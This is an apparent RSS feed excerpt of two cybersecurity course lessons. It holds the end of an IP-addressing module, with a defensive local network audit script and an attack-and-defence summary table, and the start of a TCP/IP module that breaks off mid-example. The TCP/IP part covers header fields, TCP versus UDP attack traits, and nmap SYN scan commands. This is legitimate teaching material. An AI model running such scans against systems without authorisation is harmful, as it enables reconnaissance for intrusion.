ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- Default Gateway ---"
ip route | grep default
echo ""

echo "--- ARP Cache (recently seen hosts) ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Active Connections ---"
ss -tulnp | head -20
echo ""

echo "--- DHCP Lease ---"
cat /var/lib/dhclient/dhclient.leases 2&amp;gt;/dev/null | grep -E "lease|fixed-address|routers|domain-name-servers" | head -10
echo ""

echo "--- Security Checks ---"

# Check for RFC1918 addresses:
echo "RFC1918 interfaces:"
ip addr | grep -oE '(10|172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;(1[6-9]|2[0-9]|3[01])|192&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;168)&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;[0-9]+/[0-9]+'

# Check IP forwarding:
fwd=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/ip_forward&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
[ "&lt;/span&gt;&lt;span class="nv"&gt;$fwd&lt;/span&gt;&lt;span class="sh"&gt;" = "1" ] &amp;amp;&amp;amp; echo "[!] IP FORWARDING ENABLED — is this machine a router?" || echo "[OK] IP forwarding disabled"

# Check ICMP redirect acceptance:
redir=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/conf/all/accept_redirects&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
[ "&lt;/span&gt;&lt;span class="nv"&gt;$redir&lt;/span&gt;&lt;span class="sh"&gt;" = "1" ] &amp;amp;&amp;amp; echo "[!] ICMP REDIRECTS ACCEPTED — potential route hijack risk" || echo "[OK] ICMP redirects disabled"

# Check for unusual listening services:
echo ""
echo "Listening on all interfaces (0.0.0.0 or :::):"
ss -tlnp | grep -E "0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0|:::"

echo ""
echo "===== AUDIT COMPLETE ====="
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_audit.sh
bash /tmp/network_audit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Defence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv4 Binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32-bit number in dotted-decimal&lt;/td&gt;
&lt;td&gt;Foundation of all addressing calculations&lt;/td&gt;
&lt;td&gt;Must understand for subnet design and firewall rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Address Classes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Historical classful boundaries&lt;/td&gt;
&lt;td&gt;Legacy OT devices may use class defaults&lt;/td&gt;
&lt;td&gt;Know class defaults to diagnose legacy device issues&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Public vs Private&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RFC 1918 ranges never routed publicly&lt;/td&gt;
&lt;td&gt;IP spoofing detection, cloud metadata SSRF&lt;/td&gt;
&lt;td&gt;BCP38 filtering, restrict metadata service access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Metadata&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;169.254.169.254 serves cloud credentials&lt;/td&gt;
&lt;td&gt;SSRF → metadata → credential theft (Capital One 2019)&lt;/td&gt;
&lt;td&gt;IMDSv2, firewall metadata endpoint, least-privilege IAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIDR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variable prefix length, replaces classful&lt;/td&gt;
&lt;td&gt;Scope definition for scans, subnet calculation&lt;/td&gt;
&lt;td&gt;Design minimal subnets, audit CIDR firewall rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subnet Mask&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Binary AND determines network vs host&lt;/td&gt;
&lt;td&gt;Network boundary calculation, routing decisions&lt;/td&gt;
&lt;td&gt;Correct mask prevents unintended reachability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subnetting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dividing address space into segments&lt;/td&gt;
&lt;td&gt;Lateral movement: routing tables reveal all subnets&lt;/td&gt;
&lt;td&gt;Segmentation reduces blast radius of any compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VLSM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Different prefix lengths per subnet&lt;/td&gt;
&lt;td&gt;Efficient segmentation design&lt;/td&gt;
&lt;td&gt;Right-size each zone, isolate OT with dedicated subnets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IP translation via state table&lt;/td&gt;
&lt;td&gt;NAT hides source for forensics, C2 bypasses NAT&lt;/td&gt;
&lt;td&gt;Log all NAT translations — required for incident response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Port-based multiplexing of many-to-one&lt;/td&gt;
&lt;td&gt;Port exhaustion DoS, forensic attribution challenges&lt;/td&gt;
&lt;td&gt;Enable NAT logging, track source ports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DHCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automatic IP assignment via DORA&lt;/td&gt;
&lt;td&gt;Starvation, rogue server → MITM, Option 121 TunnelVision&lt;/td&gt;
&lt;td&gt;DHCP snooping, trusted port designation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNS Resolution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hierarchical recursive lookup&lt;/td&gt;
&lt;td&gt;Cache poisoning, DNS tunnelling, C2 via DNS&lt;/td&gt;
&lt;td&gt;DNSSEC, DoH/DoT, DNS monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNS Attacks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cache poisoning, tunnelling, takeover&lt;/td&gt;
&lt;td&gt;C2 over DNS, data exfiltration, phishing&lt;/td&gt;
&lt;td&gt;Query rate monitoring, DNSSEC validation, TTL anomaly detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A/AAAA records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hostname to IP mapping&lt;/td&gt;
&lt;td&gt;Cache poisoning target&lt;/td&gt;
&lt;td&gt;DNSSEC, monitor for unexpected changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MX records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mail server identification&lt;/td&gt;
&lt;td&gt;Target for email infrastructure attacks&lt;/td&gt;
&lt;td&gt;Firewall, SPF/DKIM/DMARC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CNAME records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Alias to another hostname&lt;/td&gt;
&lt;td&gt;Subdomain takeover via dangling CNAME&lt;/td&gt;
&lt;td&gt;Audit all CNAMEs, remove stale entries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TXT records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary text (SPF, DKIM, DMARC)&lt;/td&gt;
&lt;td&gt;Missing SPF/DMARC → email spoofing&lt;/td&gt;
&lt;td&gt;p=reject DMARC + SPF -all + DKIM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NS records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authoritative nameservers&lt;/td&gt;
&lt;td&gt;NS compromise → total DNS control&lt;/td&gt;
&lt;td&gt;Secure registrar, DNSSEC, monitor NS changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PTR records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reverse DNS&lt;/td&gt;
&lt;td&gt;Reconnaissance, mail rejection without PTR&lt;/td&gt;
&lt;td&gt;Maintain PTR records, use for anomaly detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SRV records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service location (AD)&lt;/td&gt;
&lt;td&gt;AD enumeration without scanning&lt;/td&gt;
&lt;td&gt;Monitor SRV queries for reconnaissance patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OT Addressing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mostly static, flat networks common&lt;/td&gt;
&lt;td&gt;Static IPs predictable, flat = lateral movement&lt;/td&gt;
&lt;td&gt;Segmentation with VLSM, passive-only asset discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.5-core-protocols.md"&gt;Stage 1.5 — Core Protocols&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.3-tcpip-model.md"&gt;Stage 1.3 — TCP/IP Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>learn</category>
      <category>programming</category>
    </item>
    <item>
      <title>Stage 1.3 — TCP/IP Model</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 01 Jun 2026 10:05:12 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-13-tcpip-model-4511</link>
      <guid>https://dev.to/rencberakman/stage-13-tcpip-model-4511</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.3 — TCP/IP Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.2 — OSI Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.4 — IP Addressing and Subnetting&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why TCP/IP Is the Foundation of Every Attack and Defence&lt;/li&gt;
&lt;li&gt;TCP/IP Model — Four Layers, One Internet&lt;/li&gt;
&lt;li&gt;TCP vs UDP — The Fundamental Choice&lt;/li&gt;
&lt;li&gt;TCP Three-Way Handshake — Deep Dive&lt;/li&gt;
&lt;li&gt;TCP Four-Way Termination&lt;/li&gt;
&lt;li&gt;TCP Internals — What Textbooks Skip&lt;/li&gt;
&lt;li&gt;IPv4 Addressing&lt;/li&gt;
&lt;li&gt;IPv6 Fundamentals&lt;/li&gt;
&lt;li&gt;ICMP — The Network's Diagnostic Layer&lt;/li&gt;
&lt;li&gt;ARP — Address Resolution Protocol&lt;/li&gt;
&lt;li&gt;Putting It All Together — A Complete Packet's Journey&lt;/li&gt;
&lt;li&gt;TCP/IP in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why TCP/IP Is the Foundation of Every Attack and Defence
&lt;/h2&gt;

&lt;p&gt;TCP/IP is not a topic you study and move past. It is the substrate on which every network interaction in your career will happen. Every shell you catch, every packet you capture, every firewall rule you write, every alert you investigate — it all lives inside TCP/IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete career examples:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you run Metasploit and set &lt;code&gt;LHOST&lt;/code&gt; and &lt;code&gt;LPORT&lt;/code&gt;, you are configuring a TCP or UDP listener at the IP layer. When your reverse shell connects back, it initiates a TCP three-way handshake. When you lose the shell because the target rebooted, the TCP connection terminated via RST or timeout.&lt;/p&gt;

&lt;p&gt;When you use Wireshark to analyse a suspected C2 beacon, you are looking at TCP streams. The beacon's timing, payload size, and connection frequency are all visible in TCP/IP metadata — even when the payload is encrypted.&lt;/p&gt;

&lt;p&gt;When a SOC analyst sees "port 4444 outbound to 185.220.x.x," they know: that is TCP, that is Metasploit's default listener port, and that is a Tor exit node IP range. All of that reasoning comes from knowing TCP/IP deeply.&lt;/p&gt;

&lt;p&gt;When an OT engineer says "the PLC stopped responding," the first question is: is it a Layer 3 (IP routing) problem, a Layer 4 (TCP connection state) problem, or a Layer 7 (Modbus application) problem? You cannot answer that without knowing TCP/IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The security reality:&lt;/strong&gt; TCP/IP was designed in the 1970s-80s for a cooperative research network. Authentication was not a design requirement. Every IP address can be spoofed. Every TCP connection can be reset by a third party. ARP has no authentication. ICMP can be used to map networks and crash systems. These are not bugs — they are the protocol as designed. Understanding these properties is what allows you to exploit them offensively and defend against their exploitation defensively.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. TCP/IP Model — Four Layers, One Internet
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Model
&lt;/h3&gt;

&lt;p&gt;The TCP/IP model (also called the DoD model — Department of Defense, which funded its development) describes how internet protocols are organised. Unlike OSI's seven layers, TCP/IP uses four:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────┐
│  Layer 4 — Application                                      │
│  HTTP, HTTPS, DNS, SMTP, FTP, SSH, Telnet, SNMP,           │
│  Modbus TCP, DNP3, IEC 60870-5-104, OPC-UA                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 3 — Transport                                        │
│  TCP (port-to-port, reliable)                               │
│  UDP (port-to-port, unreliable)                             │
│  SCTP, QUIC                                                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 2 — Internet                                         │
│  IPv4, IPv6                                                 │
│  ICMP, ICMPv6                                               │
│  IPSec (AH, ESP)                                           │
├─────────────────────────────────────────────────────────────┤
│  Layer 1 — Network Access (Link)                            │
│  Ethernet, Wi-Fi (802.11), ARP                             │
│  Physical medium: copper, fibre, radio                      │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 OSI vs TCP/IP — The Mapping Every Professional Needs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSI Layer          OSI Name        TCP/IP Layer     TCP/IP Name
─────────────────────────────────────────────────────────────
7                  Application   ─┐
6                  Presentation  ─┼──────────────→  Application
5                  Session       ─┘
4                  Transport      ─────────────→   Transport
3                  Network        ─────────────→   Internet
2                  Data Link     ─┐
1                  Physical      ─┴─────────────→  Network Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; Security tools, CVEs, and documentation reference both models. A vulnerability described as "L4 TCP RST injection" and one described as "transport layer attack" mean the same thing. An "L3 routing attack" is an "Internet layer attack" in TCP/IP terms. You must translate fluently between both.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 The Internet Layer — The Core of TCP/IP
&lt;/h3&gt;

&lt;p&gt;The Internet layer (IP) is what makes the internet work. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Logical addressing:&lt;/strong&gt; IP addresses identify hosts globally&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Routing:&lt;/strong&gt; Packets are forwarded hop-by-hop toward the destination&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fragmentation:&lt;/strong&gt; Large packets split to fit link MTU&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery:&lt;/strong&gt; No guarantees — best effort&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IP's lack of guarantees is intentional. Reliability, ordering, and error correction are pushed up to the Transport layer (TCP) or the application. This separation of concerns made the internet scalable — routers only need to forward packets, not maintain state for every connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. TCP vs UDP — The Fundamental Choice
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Design Philosophy
&lt;/h3&gt;

&lt;p&gt;TCP and UDP represent two fundamentally different answers to the question: "How should we move data between applications?"&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TCP answer: "Reliably. I will guarantee every byte arrives, in order,
             exactly once. I will establish a connection first, track
             what was sent, retransmit what was lost, and signal when
             I'm done. Cost: overhead, latency, connection state."

UDP answer: "As fast as possible. I will send the data and forget it.
             No connection setup. No tracking. No retransmission.
             If it arrives, great. If not, the application deals with it.
             Cost: no reliability guarantees."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 TCP — Transmission Control Protocol
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Header structure (20 bytes minimum):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│                    Sequence Number                             │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                 Acknowledgement Number                         │  4 bytes
├────────┬───────┬─┬─┬─┬─┬─┬─┬─┬─┬───────────────────────────┤
│  Data  │Reserv.│C│E│U│A│P│R│S│F│        Window Size         │  4 bytes
│ Offset │       │W│C│R│C│S│S│Y│I│                            │
│        │       │R│E│G│K│H│T│N│N│                            │
├────────┴───────┴─┴─┴─┴─┴─┴─┴─┴─┴───────────────────────────┤
│           Checksum             │       Urgent Pointer         │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                    Options (variable)                          │  0-40 bytes
└───────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical fields and their security relevance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source Port / Destination Port (16 bits each):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identify which application is communicating&lt;/li&gt;
&lt;li&gt;Source port on clients: ephemeral (49152-65535 typically)&lt;/li&gt;
&lt;li&gt;Destination port identifies the service: 22=SSH, 80=HTTP, 443=HTTPS, 502=Modbus&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Firewall rules filter on port numbers. Port scanning (Nmap) determines which ports have listening services. Port spoofing is possible but doesn't affect server-side port allocation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sequence Number (32 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tracks position in the byte stream&lt;/li&gt;
&lt;li&gt;Initial Sequence Number (ISN) is random (per RFC 6528 — cryptographically random to prevent prediction)&lt;/li&gt;
&lt;li&gt;Each byte of data sent increments the sequence number&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Historical predictable ISNs enabled TCP session hijacking. Mitnick's 1994 attack against Tsutomu Shimomura predicted ISNs to forge TCP connections. Modern OSes use random ISNs, but weak ISN generation (CVE-2001-0751, others) has recurred.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Acknowledgement Number (32 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Next expected byte from the other side&lt;/li&gt;
&lt;li&gt;"I have received everything up to byte N, send me byte N+1 next"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flags (9 bits):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CWR: Congestion Window Reduced
ECE: ECN-Echo (explicit congestion notification)
URG: Urgent pointer valid
ACK: Acknowledgement field valid — set on all packets after handshake
PSH: Push — deliver data to application immediately, don't buffer
RST: Reset — abort connection immediately
SYN: Synchronise — initiate connection (ISN negotiation)
FIN: Finish — no more data from sender (graceful close)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Window Size (16 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How many bytes the receiver is willing to accept before requiring acknowledgement&lt;/li&gt;
&lt;li&gt;TCP flow control mechanism&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Window size is an OS fingerprinting signal. Linux, Windows, and macOS use different default window sizes and scaling factors. Nmap uses window size as part of OS detection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TCP Options (variable):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common TCP options:
  MSS (Maximum Segment Size): Maximum TCP payload per segment
                               Typically 1460 bytes (1500 MTU - 20 IP - 20 TCP)
  Window Scale: Multiplier for window size (enables large windows)
  SACK (Selective Acknowledgement): Acknowledge non-contiguous data
  Timestamps: Used for RTT measurement and PAWS (Protection Against Wrapped Seq.)
  No-Operation (NOP): Padding

Security: TCP options reveal OS. The combination of MSS, window scale,
SACK support, and timestamp presence is a reliable OS fingerprint.
Nmap's -O flag uses this — as does passive fingerprinting (p0f).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 UDP — User Datagram Protocol
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Header structure (8 bytes — fixed):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│           Length           │           Checksum               │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                         Data                                   │
└───────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UDP has no:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sequence numbers (no ordering)&lt;/li&gt;
&lt;li&gt;Acknowledgements (no reliability)&lt;/li&gt;
&lt;li&gt;Flow control (no congestion management)&lt;/li&gt;
&lt;li&gt;Connection state (no handshake)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;When UDP is correct:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;th&gt;Why UDP&lt;/th&gt;
&lt;th&gt;Example Protocols&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DNS queries&lt;/td&gt;
&lt;td&gt;Single request/response, retry easy&lt;/td&gt;
&lt;td&gt;DNS (UDP 53)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real-time media&lt;/td&gt;
&lt;td&gt;Latency more important than reliability&lt;/td&gt;
&lt;td&gt;VoIP, video streaming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time synchronisation&lt;/td&gt;
&lt;td&gt;Precision more important than reliability&lt;/td&gt;
&lt;td&gt;NTP (UDP 123)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network management&lt;/td&gt;
&lt;td&gt;Simple request/response&lt;/td&gt;
&lt;td&gt;SNMP (UDP 161)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tunnelling protocols&lt;/td&gt;
&lt;td&gt;Custom reliability at higher layer&lt;/td&gt;
&lt;td&gt;WireGuard, QUIC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multicast/Broadcast&lt;/td&gt;
&lt;td&gt;TCP cannot multicast&lt;/td&gt;
&lt;td&gt;DHCP, mDNS, SSDP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Industrial real-time&lt;/td&gt;
&lt;td&gt;Sub-millisecond timing requirements&lt;/td&gt;
&lt;td&gt;PROFINET RT, EtherNet/IP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  3.4 TCP vs UDP Security Comparison
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack                      TCP        UDP       Notes
─────────────────────────────────────────────────────────────────
IP Spoofing               Limited    Effective  TCP requires handshake; UDP fire-and-forget
Amplification DDoS         No        YES        UDP has no handshake; responses sent to victim
SYN Flood                  YES       No         TCP-specific: half-open connection exhaustion
Port Scanning             Easy       Harder     TCP RST/SYN-ACK indicates open; UDP needs app response
Session Hijacking          YES       Stateless  TCP has sessions; UDP doesn't
Man-in-the-Middle          YES       YES        Both can be intercepted
C2 Communication          Common    Common      Depends on operational requirements
Firewall Bypass           Harder    Easier      Stateful firewalls track TCP; UDP often loosely filtered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify TCP vs UDP ports in a capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'tcp'&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 20      &lt;span class="c"&gt;# TCP traffic only&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'udp'&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 20      &lt;span class="c"&gt;# UDP traffic only&lt;/span&gt;

&lt;span class="c"&gt;# Nmap: scan both TCP and UDP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.1               &lt;span class="c"&gt;# TCP SYN scan (fast, stealthy)&lt;/span&gt;
